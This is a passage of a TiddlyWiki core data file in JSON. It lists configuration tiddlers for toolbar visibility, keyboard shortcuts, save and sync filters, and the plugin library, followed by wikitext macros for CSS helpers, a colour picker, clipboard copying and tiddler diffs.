"$:/config/Manager/System": {
"title": "$:/config/Manager/System",
"text": "system"
},
"$:/config/Manager/Tag": {
"title": "$:/config/Manager/Tag",
"text": ""
},
"$:/state/popup/manager/item/$:/Manager/ItemMain/RawText": {
"title": "$:/state/popup/manager/item/$:/Manager/ItemMain/RawText",
"text": "hide"
},
"$:/config/MissingLinks": {
"title": "$:/config/MissingLinks",
"text": "yes"
},
"$:/config/Navigation/UpdateAddressBar": {
"title": "$:/config/Navigation/UpdateAddressBar",
"text": "no"
},
"$:/config/Navigation/UpdateHistory": {
"title": "$:/config/Navigation/UpdateHistory",
"text": "no"
},
"$:/config/NewImageType": {
"title": "$:/config/NewImageType",
"text": "jpeg"
},
"$:/config/OfficialPluginLibrary": {
"title": "$:/config/OfficialPluginLibrary",
"tags": "$:/tags/PluginLibrary",
"url": "https://tiddlywiki.com/library/v5.1.22/index.html",
"caption": "{{$:/language/OfficialPluginLibrary}}",
"text": "{{$:/language/OfficialPluginLibrary/Hint}}\n"
},
"$:/config/Navigation/openLinkFromInsideRiver": {
"title": "$:/config/Navigation/openLinkFromInsideRiver",
"text": "below"
},
"$:/config/Navigation/openLinkFromOutsideRiver": {
"title": "$:/config/Navigation/openLinkFromOutsideRiver",
"text": "top"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/advanced-search": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/advanced-search",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/close-all": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/close-all",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/encryption": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/encryption",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/export-page": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/export-page",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/fold-all": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/fold-all",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/full-screen": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/full-screen",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/home": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/home",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/refresh": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/refresh",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/import": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/import",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/language": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/language",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/tag-manager": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/tag-manager",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/manager": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/manager",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/more-page-actions": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/more-page-actions",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-journal": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-journal",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-image": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/new-image",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/palette": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/palette",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/permaview": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/permaview",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/print": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/print",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/storyview": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/storyview",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/timestamp": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/timestamp",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/theme": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/theme",
"text": "hide"
},
"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/unfold-all": {
"title": "$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/unfold-all",
"text": "hide"
},
"$:/config/Performance/Instrumentation": {
"title": "$:/config/Performance/Instrumentation",
"text": "no"
},
"$:/config/RegisterPluginType/plugin": {
"title": "$:/config/RegisterPluginType/plugin",
"text": "yes"
},
"$:/config/RegisterPluginType/theme": {
"title": "$:/config/RegisterPluginType/theme",
"text": "no"
},
"$:/config/RegisterPluginType/language": {
"title": "$:/config/RegisterPluginType/language",
"text": "no"
},
"$:/config/RegisterPluginType/info": {
"title": "$:/config/RegisterPluginType/info",
"text": "no"
},
"$:/config/RegisterPluginType/import": {
"title": "$:/config/RegisterPluginType/import",
"text": "no"
},
"$:/config/SaveWikiButton/Template": {
"title": "$:/config/SaveWikiButton/Template",
"text": "$:/core/save/all"
},
"$:/config/SaverFilter": {
"title": "$:/config/SaverFilter",
"text": "[all[]] -[[$:/HistoryList]] -[[$:/StoryList]] -[[$:/Import]] -[[$:/isEncrypted]] -[[$:/UploadName]] -[prefix[$:/state/]] -[prefix[$:/temp/]]"
},
"$:/config/Search/AutoFocus": {
"title": "$:/config/Search/AutoFocus",
"text": "true"
},
"$:/config/Search/MinLength": {
"title": "$:/config/Search/MinLength",
"text": "3"
},
"$:/config/SearchResults/Default": {
"title": "$:/config/SearchResults/Default",
"text": "$:/core/ui/DefaultSearchResultList"
},
"$:/config/Server/ExternalFilters/[all[tiddlers]!is[system]sort[title]]": {
"title": "$:/config/Server/ExternalFilters/[all[tiddlers]!is[system]sort[title]]",
"text": "yes"
},
"$:/config/ShortcutInfo/add-field": {
"title": "$:/config/ShortcutInfo/add-field",
"text": "{{$:/language/EditTemplate/Fields/Add/Button/Hint}}"
},
"$:/config/ShortcutInfo/advanced-search": {
"title": "$:/config/ShortcutInfo/advanced-search",
"text": "{{$:/language/Buttons/AdvancedSearch/Hint}}"
},
"$:/config/ShortcutInfo/bold": {
"title": "$:/config/ShortcutInfo/bold",
"text": "{{$:/language/Buttons/Bold/Hint}}"
},
"$:/config/ShortcutInfo/cancel-edit-tiddler": {
"title": "$:/config/ShortcutInfo/cancel-edit-tiddler",
"text": "{{$:/language/Buttons/Cancel/Hint}}"
},
"$:/config/ShortcutInfo/excise": {
"title": "$:/config/ShortcutInfo/excise",
"text": "{{$:/language/Buttons/Excise/Hint}}"
},
"$:/config/ShortcutInfo/heading-1": {
"title": "$:/config/ShortcutInfo/heading-1",
"text": "{{$:/language/Buttons/Heading1/Hint}}"
},
"$:/config/ShortcutInfo/heading-2": {
"title": "$:/config/ShortcutInfo/heading-2",
"text": "{{$:/language/Buttons/Heading2/Hint}}"
},
"$:/config/ShortcutInfo/heading-3": {
"title": "$:/config/ShortcutInfo/heading-3",
"text": "{{$:/language/Buttons/Heading3/Hint}}"
},
"$:/config/ShortcutInfo/heading-4": {
"title": "$:/config/ShortcutInfo/heading-4",
"text": "{{$:/language/Buttons/Heading4/Hint}}"
},
"$:/config/ShortcutInfo/heading-5": {
"title": "$:/config/ShortcutInfo/heading-5",
"text": "{{$:/language/Buttons/Heading5/Hint}}"
},
"$:/config/ShortcutInfo/heading-6": {
"title": "$:/config/ShortcutInfo/heading-6",
"text": "{{$:/language/Buttons/Heading6/Hint}}"
},
"$:/config/ShortcutInfo/italic": {
"title": "$:/config/ShortcutInfo/italic",
"text": "{{$:/language/Buttons/Italic/Hint}}"
},
"$:/config/ShortcutInfo/link": {
"title": "$:/config/ShortcutInfo/link",
"text": "{{$:/language/Buttons/Link/Hint}}"
},
"$:/config/ShortcutInfo/list-bullet": {
"title": "$:/config/ShortcutInfo/list-bullet",
"text": "{{$:/language/Buttons/ListBullet/Hint}}"
},
"$:/config/ShortcutInfo/list-number": {
"title": "$:/config/ShortcutInfo/list-number",
"text": "{{$:/language/Buttons/ListNumber/Hint}}"
},
"$:/config/ShortcutInfo/mono-block": {
"title": "$:/config/ShortcutInfo/mono-block",
"text": "{{$:/language/Buttons/MonoBlock/Hint}}"
},
"$:/config/ShortcutInfo/mono-line": {
"title": "$:/config/ShortcutInfo/mono-line",
"text": "{{$:/language/Buttons/MonoLine/Hint}}"
},
"$:/config/ShortcutInfo/new-image": {
"title": "$:/config/ShortcutInfo/new-image",
"text": "{{$:/language/Buttons/NewImage/Hint}}"
},
"$:/config/ShortcutInfo/new-journal": {
"title": "$:/config/ShortcutInfo/new-journal",
"text": "{{$:/language/Buttons/NewJournal/Hint}}"
},
"$:/config/ShortcutInfo/new-tiddler": {
"title": "$:/config/ShortcutInfo/new-tiddler",
"text": "{{$:/language/Buttons/NewTiddler/Hint}}"
},
"$:/config/ShortcutInfo/picture": {
"title": "$:/config/ShortcutInfo/picture",
"text": "{{$:/language/Buttons/Picture/Hint}}"
},
"$:/config/ShortcutInfo/preview": {
"title": "$:/config/ShortcutInfo/preview",
"text": "{{$:/language/Buttons/Preview/Hint}}"
},
"$:/config/ShortcutInfo/quote": {
"title": "$:/config/ShortcutInfo/quote",
"text": "{{$:/language/Buttons/Quote/Hint}}"
},
"$:/config/ShortcutInfo/save-tiddler": {
"title": "$:/config/ShortcutInfo/save-tiddler",
"text": "{{$:/language/Buttons/Save/Hint}}"
},
"$:/config/ShortcutInfo/sidebar-search": {
"title": "$:/config/ShortcutInfo/sidebar-search",
"text": "{{$:/language/Buttons/SidebarSearch/Hint}}"
},
"$:/config/ShortcutInfo/stamp": {
"title": "$:/config/ShortcutInfo/stamp",
"text": "{{$:/language/Buttons/Stamp/Hint}}"
},
"$:/config/ShortcutInfo/strikethrough": {
"title": "$:/config/ShortcutInfo/strikethrough",
"text": "{{$:/language/Buttons/Strikethrough/Hint}}"
},
"$:/config/ShortcutInfo/subscript": {
"title": "$:/config/ShortcutInfo/subscript",
"text": "{{$:/language/Buttons/Subscript/Hint}}"
},
"$:/config/ShortcutInfo/superscript": {
"title": "$:/config/ShortcutInfo/superscript",
"text": "{{$:/language/Buttons/Superscript/Hint}}"
},
"$:/config/ShortcutInfo/toggle-sidebar": {
"title": "$:/config/ShortcutInfo/toggle-sidebar",
"text": "{{$:/language/Buttons/ToggleSidebar/Hint}}"
},
"$:/config/ShortcutInfo/underline": {
"title": "$:/config/ShortcutInfo/underline",
"text": "{{$:/language/Buttons/Underline/Hint}}"
},
"$:/config/SyncFilter": {
"title": "$:/config/SyncFilter",
"text": "[is[tiddler]] -[[$:/HistoryList]] -[[$:/Import]] -[[$:/isEncrypted]] -[prefix[$:/status/]] -[prefix[$:/state/]] -[prefix[$:/temp/]]"
},
"$:/config/Tags/MinLength": {
"title": "$:/config/Tags/MinLength",
"text": "0"
},
"$:/config/TextEditor/EditorHeight/Height": {
"title": "$:/config/TextEditor/EditorHeight/Height",
"text": "400px"
},
"$:/config/TextEditor/EditorHeight/Mode": {
"title": "$:/config/TextEditor/EditorHeight/Mode",
"text": "auto"
},
"$:/config/TiddlerInfo/Default": {
"title": "$:/config/TiddlerInfo/Default",
"text": "$:/core/ui/TiddlerInfo/Fields"
},
"$:/config/TiddlerInfo/Mode": {
"title": "$:/config/TiddlerInfo/Mode",
"text": "popup"
},
"$:/config/Tiddlers/TitleLinks": {
"title": "$:/config/Tiddlers/TitleLinks",
"text": "no"
},
"$:/config/Toolbar/ButtonClass": {
"title": "$:/config/Toolbar/ButtonClass",
"text": "tc-btn-invisible"
},
"$:/config/Toolbar/Icons": {
"title": "$:/config/Toolbar/Icons",
"text": "yes"
},
"$:/config/Toolbar/Text": {
"title": "$:/config/Toolbar/Text",
"text": "no"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/clone": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/clone",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/close-others": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/close-others",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/export-tiddler": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/export-tiddler",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/info": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/info",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/more-tiddler-actions": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/more-tiddler-actions",
"text": "show"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-here": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-here",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-journal-here": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/new-journal-here",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/open-window": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/open-window",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permalink": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permalink",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permaview": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permaview",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/delete": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/delete",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-bar": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-bar",
"text": "hide"
},
"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-others": {
"title": "$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-others",
"text": "hide"
},
"$:/config/shortcuts-mac/bold": {
"title": "$:/config/shortcuts-mac/bold",
"text": "meta-B"
},
"$:/config/shortcuts-mac/italic": {
"title": "$:/config/shortcuts-mac/italic",
"text": "meta-I"
},
"$:/config/shortcuts-mac/underline": {
"title": "$:/config/shortcuts-mac/underline",
"text": "meta-U"
},
"$:/config/shortcuts-mac/new-image": {
"title": "$:/config/shortcuts-mac/new-image",
"text": "ctrl-I"
},
"$:/config/shortcuts-mac/new-journal": {
"title": "$:/config/shortcuts-mac/new-journal",
"text": "ctrl-J"
},
"$:/config/shortcuts-mac/new-tiddler": {
"title": "$:/config/shortcuts-mac/new-tiddler",
"text": "ctrl-N"
},
"$:/config/shortcuts-not-mac/bold": {
"title": "$:/config/shortcuts-not-mac/bold",
"text": "ctrl-B"
},
"$:/config/shortcuts-not-mac/italic": {
"title": "$:/config/shortcuts-not-mac/italic",
"text": "ctrl-I"
},
"$:/config/shortcuts-not-mac/underline": {
"title": "$:/config/shortcuts-not-mac/underline",
"text": "ctrl-U"
},
"$:/config/shortcuts-not-mac/new-image": {
"title": "$:/config/shortcuts-not-mac/new-image",
"text": "alt-I"
},
"$:/config/shortcuts-not-mac/new-journal": {
"title": "$:/config/shortcuts-not-mac/new-journal",
"text": "alt-J"
},
"$:/config/shortcuts-not-mac/new-tiddler": {
"title": "$:/config/shortcuts-not-mac/new-tiddler",
"text": "alt-N"
},
"$:/config/shortcuts/add-field": {
"title": "$:/config/shortcuts/add-field",
"text": "enter"
},
"$:/config/shortcuts/advanced-search": {
"title": "$:/config/shortcuts/advanced-search",
"text": "ctrl-shift-A"
},
"$:/config/shortcuts/cancel-edit-tiddler": {
"title": "$:/config/shortcuts/cancel-edit-tiddler",
"text": "escape"
},
"$:/config/shortcuts/excise": {
"title": "$:/config/shortcuts/excise",
"text": "ctrl-E"
},
"$:/config/shortcuts/sidebar-search": {
"title": "$:/config/shortcuts/sidebar-search",
"text": "ctrl-shift-F"
},
"$:/config/shortcuts/heading-1": {
"title": "$:/config/shortcuts/heading-1",
"text": "ctrl-1"
},
"$:/config/shortcuts/heading-2": {
"title": "$:/config/shortcuts/heading-2",
"text": "ctrl-2"
},
"$:/config/shortcuts/heading-3": {
"title": "$:/config/shortcuts/heading-3",
"text": "ctrl-3"
},
"$:/config/shortcuts/heading-4": {
"title": "$:/config/shortcuts/heading-4",
"text": "ctrl-4"
},
"$:/config/shortcuts/heading-5": {
"title": "$:/config/shortcuts/heading-5",
"text": "ctrl-5"
},
"$:/config/shortcuts/heading-6": {
"title": "$:/config/shortcuts/heading-6",
"text": "ctrl-6"
},
"$:/config/shortcuts/link": {
"title": "$:/config/shortcuts/link",
"text": "ctrl-L"
},
"$:/config/shortcuts/linkify": {
"title": "$:/config/shortcuts/linkify",
"text": "alt-shift-L"
},
"$:/config/shortcuts/list-bullet": {
"title": "$:/config/shortcuts/list-bullet",
"text": "ctrl-shift-L"
},
"$:/config/shortcuts/list-number": {
"title": "$:/config/shortcuts/list-number",
"text": "ctrl-shift-N"
},
"$:/config/shortcuts/mono-block": {
"title": "$:/config/shortcuts/mono-block",
"text": "ctrl-shift-M"
},
"$:/config/shortcuts/mono-line": {
"title": "$:/config/shortcuts/mono-line",
"text": "ctrl-M"
},
"$:/config/shortcuts/picture": {
"title": "$:/config/shortcuts/picture",
"text": "ctrl-shift-I"
},
"$:/config/shortcuts/preview": {
"title": "$:/config/shortcuts/preview",
"text": "alt-P"
},
"$:/config/shortcuts/quote": {
"title": "$:/config/shortcuts/quote",
"text": "ctrl-Q"
},
"$:/config/shortcuts/save-tiddler": {
"title": "$:/config/shortcuts/save-tiddler",
"text": "ctrl+enter"
},
"$:/config/shortcuts/stamp": {
"title": "$:/config/shortcuts/stamp",
"text": "ctrl-S"
},
"$:/config/shortcuts/strikethrough": {
"title": "$:/config/shortcuts/strikethrough",
"text": "ctrl-T"
},
"$:/config/shortcuts/subscript": {
"title": "$:/config/shortcuts/subscript",
"text": "ctrl-shift-B"
},
"$:/config/shortcuts/superscript": {
"title": "$:/config/shortcuts/superscript",
"text": "ctrl-shift-P"
},
"$:/config/shortcuts/toggle-sidebar": {
"title": "$:/config/shortcuts/toggle-sidebar",
"text": "alt-shift-S"
},
"$:/config/shortcuts/transcludify": {
"title": "$:/config/shortcuts/transcludify",
"text": "alt-shift-T"
},
"$:/config/ui/EditTemplate": {
"title": "$:/config/ui/EditTemplate",
"text": "$:/core/ui/EditTemplate"
},
"$:/config/ui/ViewTemplate": {
"title": "$:/config/ui/ViewTemplate",
"text": "$:/core/ui/ViewTemplate"
},
"$:/config/WikiParserRules/Inline/wikilink": {
"title": "$:/config/WikiParserRules/Inline/wikilink",
"text": "enable"
},
"$:/snippets/currpalettepreview": {
"title": "$:/snippets/currpalettepreview",
"text": "\\define swatchStyle()\nbackground-color: $(swatchColour)$;\n\\end\n\\define swatch()\n<$set name=\"swatchColour\" value={{##$(colour)$}}\n><div class=\"tc-swatch\" style=<<swatchStyle>> title=<<colour>>/></$set>\n\\end\n<div class=\"tc-swatches-horiz\"><$list filter=\"\nforeground\nbackground\nmuted-foreground\nprimary\npage-background\ntab-background\ntiddler-info-background\n\" variable=\"colour\"><<swatch>></$list></div>"
},
"$:/snippets/download-wiki-button": {
"title": "$:/snippets/download-wiki-button",
"text": "\\define lingo-base() $:/language/ControlPanel/Tools/Download/\n<$button class=\"tc-btn-big-green\">\n<$action-sendmessage $message=\"tm-download-file\" $param=\"$:/core/save/all\" filename=\"index.html\"/>\n<<lingo Full/Caption>> {{$:/core/images/save-button}}\n</$button>"
},
"$:/language": {
"title": "$:/language",
"text": "$:/languages/en-GB"
},
"$:/snippets/languageswitcher": {
"title": "$:/snippets/languageswitcher",
"text": "\\define flag-title()\n$(languagePluginTitle)$/icon\n\\end\n\n<$linkcatcher to=\"$:/language\">\n<div class=\"tc-chooser tc-language-chooser\">\n<$list filter=\"[[$:/languages/en-GB]] [plugin-type[language]sort[description]]\">\n<$set name=\"cls\" filter=\"[all[current]field:title{$:/language}]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>>\n<$link>\n<span class=\"tc-image-button\">\n<$set name=\"languagePluginTitle\" value=<<currentTiddler>>>\n<$transclude subtiddler=<<flag-title>>>\n<$list filter=\"[all[current]field:title[$:/languages/en-GB]]\">\n<$transclude tiddler=\"$:/languages/en-GB/icon\"/>\n</$list>\n</$transclude>\n</$set>\n</span>\n<$view field=\"description\">\n<$view field=\"name\">\n<$view field=\"title\"/>\n</$view>\n</$view>\n</$link>\n</div>\n</$set>\n</$list>\n</div>\n</$linkcatcher>"
},
"$:/core/macros/CSS": {
"title": "$:/core/macros/CSS",
"tags": "$:/tags/Macro",
"text": "\\define colour(name)\n<$transclude tiddler={{$:/palette}} index=\"$name$\"><$transclude tiddler=\"$:/palettes/Vanilla\" index=\"$name$\"><$transclude tiddler=\"$:/config/DefaultColourMappings/$name$\"/></$transclude></$transclude>\n\\end\n\n\\define color(name)\n<<colour $name$>>\n\\end\n\n\\define box-shadow(shadow)\n``\n -webkit-box-shadow: $shadow$;\n -moz-box-shadow: $shadow$;\n box-shadow: $shadow$;\n``\n\\end\n\n\\define filter(filter)\n``\n -webkit-filter: $filter$;\n -moz-filter: $filter$;\n filter: $filter$;\n``\n\\end\n\n\\define transition(transition)\n``\n -webkit-transition: $transition$;\n -moz-transition: $transition$;\n transition: $transition$;\n``\n\\end\n\n\\define transform-origin(origin)\n``\n -webkit-transform-origin: $origin$;\n -moz-transform-origin: $origin$;\n transform-origin: $origin$;\n``\n\\end\n\n\\define background-linear-gradient(gradient)\n``\nbackground-image: linear-gradient($gradient$);\nbackground-image: -o-linear-gradient($gradient$);\nbackground-image: -moz-linear-gradient($gradient$);\nbackground-image: -webkit-linear-gradient($gradient$);\nbackground-image: -ms-linear-gradient($gradient$);\n``\n\\end\n\n\\define column-count(columns)\n``\n-moz-column-count: $columns$;\n-webkit-column-count: $columns$;\ncolumn-count: $columns$;\n``\n\\end\n\n\\define datauri(title)\n<$macrocall $name=\"makedatauri\" type={{$title$!!type}} text={{$title$}} _canonical_uri={{$title$!!_canonical_uri}}/>\n\\end\n\n\\define if-sidebar(text)\n<$reveal state=\"$:/state/sidebar\" type=\"match\" text=\"yes\" default=\"yes\">$text$</$reveal>\n\\end\n\n\\define if-no-sidebar(text)\n<$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">$text$</$reveal>\n\\end\n\n\\define if-background-attachment(text)\n<$reveal state=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\" type=\"nomatch\" text=\"\">$text$</$reveal>\n\\end\n"
},
"$:/core/macros/colour-picker": {
"title": "$:/core/macros/colour-picker",
"tags": "$:/tags/Macro",
"text": "\\define colour-picker-update-recent()\n<$action-listops\n\t$tiddler=\"$:/config/ColourPicker/Recent\"\n\t$subfilter=\"$(colour-picker-value)$ [list[$:/config/ColourPicker/Recent]remove[$(colour-picker-value)$]] +[limit[8]]\"\n/>\n\\end\n\n\\define colour-picker-inner(actions)\n<$button tag=\"a\" tooltip=\"\"\"$(colour-picker-value)$\"\"\">\n\n$(colour-picker-update-recent)$\n\n$actions$\n\n<span style=\"display:inline-block; background-color: $(colour-picker-value)$; width: 100%; height: 100%; border-radius: 50%;\"/>\n\n</$button>\n\\end\n\n\\define colour-picker-recent-inner(actions)\n<$set name=\"colour-picker-value\" value=\"$(recentColour)$\">\n<$macrocall $name=\"colour-picker-inner\" actions=\"\"\"$actions$\"\"\"/>\n</$set>\n\\end\n\n\\define colour-picker-recent(actions)\n{{$:/language/ColourPicker/Recent}} <$list filter=\"[list[$:/config/ColourPicker/Recent]]\" variable=\"recentColour\">\n<$macrocall $name=\"colour-picker-recent-inner\" actions=\"\"\"$actions$\"\"\"/></$list>\n\\end\n\n\\define colour-picker(actions)\n<div class=\"tc-colour-chooser\">\n\n<$macrocall $name=\"colour-picker-recent\" actions=\"\"\"$actions$\"\"\"/>\n\n---\n\n<$list filter=\"LightPink Pink Crimson LavenderBlush PaleVioletRed HotPink DeepPink MediumVioletRed Orchid Thistle Plum Violet Magenta Fuchsia DarkMagenta Purple MediumOrchid DarkViolet DarkOrchid Indigo BlueViolet MediumPurple MediumSlateBlue SlateBlue DarkSlateBlue Lavender GhostWhite Blue MediumBlue MidnightBlue DarkBlue Navy RoyalBlue CornflowerBlue LightSteelBlue LightSlateGrey SlateGrey DodgerBlue AliceBlue SteelBlue LightSkyBlue SkyBlue DeepSkyBlue LightBlue PowderBlue CadetBlue Azure LightCyan PaleTurquoise Cyan Aqua DarkTurquoise DarkSlateGrey DarkCyan Teal MediumTurquoise LightSeaGreen Turquoise Aquamarine MediumAquamarine MediumSpringGreen MintCream SpringGreen MediumSeaGreen SeaGreen Honeydew LightGreen PaleGreen DarkSeaGreen LimeGreen Lime ForestGreen Green DarkGreen Chartreuse LawnGreen GreenYellow DarkOliveGreen YellowGreen OliveDrab Beige LightGoldenrodYellow Ivory LightYellow Yellow Olive DarkKhaki LemonChiffon PaleGoldenrod Khaki Gold Cornsilk Goldenrod DarkGoldenrod FloralWhite OldLace Wheat Moccasin Orange PapayaWhip BlanchedAlmond NavajoWhite AntiqueWhite Tan BurlyWood Bisque DarkOrange Linen Peru PeachPuff SandyBrown Chocolate SaddleBrown Seashell Sienna LightSalmon Coral OrangeRed DarkSalmon Tomato MistyRose Salmon Snow LightCoral RosyBrown IndianRed Red Brown FireBrick DarkRed Maroon White WhiteSmoke Gainsboro LightGrey Silver DarkGrey Grey DimGrey Black\" variable=\"colour-picker-value\">\n<$macrocall $name=\"colour-picker-inner\" actions=\"\"\"$actions$\"\"\"/>\n</$list>\n\n---\n\n<$edit-text tiddler=\"$:/config/ColourPicker/New\" tag=\"input\" default=\"\" placeholder=\"\"/>\n<$edit-text tiddler=\"$:/config/ColourPicker/New\" type=\"color\" tag=\"input\"/>\n<$set name=\"colour-picker-value\" value={{$:/config/ColourPicker/New}}>\n<$macrocall $name=\"colour-picker-inner\" actions=\"\"\"$actions$\"\"\"/>\n</$set>\n\n</div>\n\n\\end\n"
},
"$:/core/macros/copy-to-clipboard": {
"title": "$:/core/macros/copy-to-clipboard",
"tags": "$:/tags/Macro",
"text": "\\define copy-to-clipboard(src,class:\"tc-btn-invisible\",style)\n<$button class=<<__class__>> style=<<__style__>> message=\"tm-copy-to-clipboard\" param=<<__src__>> tooltip={{$:/language/Buttons/CopyToClipboard/Hint}}>\n{{$:/core/images/copy-clipboard}} <$text text={{$:/language/Buttons/CopyToClipboard/Caption}}/>\n</$button>\n\\end\n\n\\define copy-to-clipboard-above-right(src,class:\"tc-btn-invisible\",style)\n<div style=\"position: relative;\">\n<div style=\"position: absolute; bottom: 0; right: 0;\">\n<$macrocall $name=\"copy-to-clipboard\" src=<<__src__>> class=<<__class__>> style=<<__style__>>/>\n</div>\n</div>\n\\end\n\n"
},
"$:/core/macros/diff": {
"title": "$:/core/macros/diff",
"tags": "$:/tags/Macro",
"text": "\\define compareTiddlerText(sourceTiddlerTitle,sourceSubTiddlerTitle,destTiddlerTitle,destSubTiddlerTitle)\n<$set name=\"source\" tiddler=<<__sourceTiddlerTitle__>> subtiddler=<<__sourceSubTiddlerTitle__>>>\n<$set name=\"dest\" tiddler=<<__destTiddlerTitle__>> subtiddler=<<__destSubTiddlerTitle__>>>\n<$diff-text source=<<source>> dest=<<dest>>/>\n</$set>\n</$set>\n\\end\n\n\\define compareTiddlers(sourceTiddlerTitle,sourceSubTiddlerTitle,destTiddlerTitle,destSubTiddlerTitle,exclude)\n<table class=\"tc-diff-tiddlers\">\n<tbody>\n<$set name=\"sourceFields\" filter=\"[<__sourceTiddlerTitle__>fields[]sort[]]\">\n<$set name=\"destFields\" filter=\"[<__destSubTiddlerTitle__>subtiddlerfields<__destTiddlerTitle__>sort[]]\">\n<$list filter=\"[enlist<sourceFields>] [enlist<destFields>] -[enlist<__exclude__>] +[sort[]]\" variable=\"fieldName\">\n<tr>\n<th>\n<$text text=<<fieldName>>/> \n</th>\n<td>\n<$set name=\"source\" tiddler=<<__sourceTiddlerTitle__>> subtiddler=<<__sourceSubTiddlerTitle__>> field=<<fieldName>>>\n<$set name=\"dest\" tiddler=<<__destTiddlerTitle__>> subtiddler=<<__destSubTiddlerTitle__>> field=<<fieldName>>>\n<$diff-text source=<<source>> dest=<<dest>>>\n</$diff-text>\n</$set>\n</$set>\n</td>\n</tr>\n</$list>\n</$set>\n</$set>\n</tbody>\n</table>\n\\end\n"
},
"$:/core/macros/dumpvariables": {
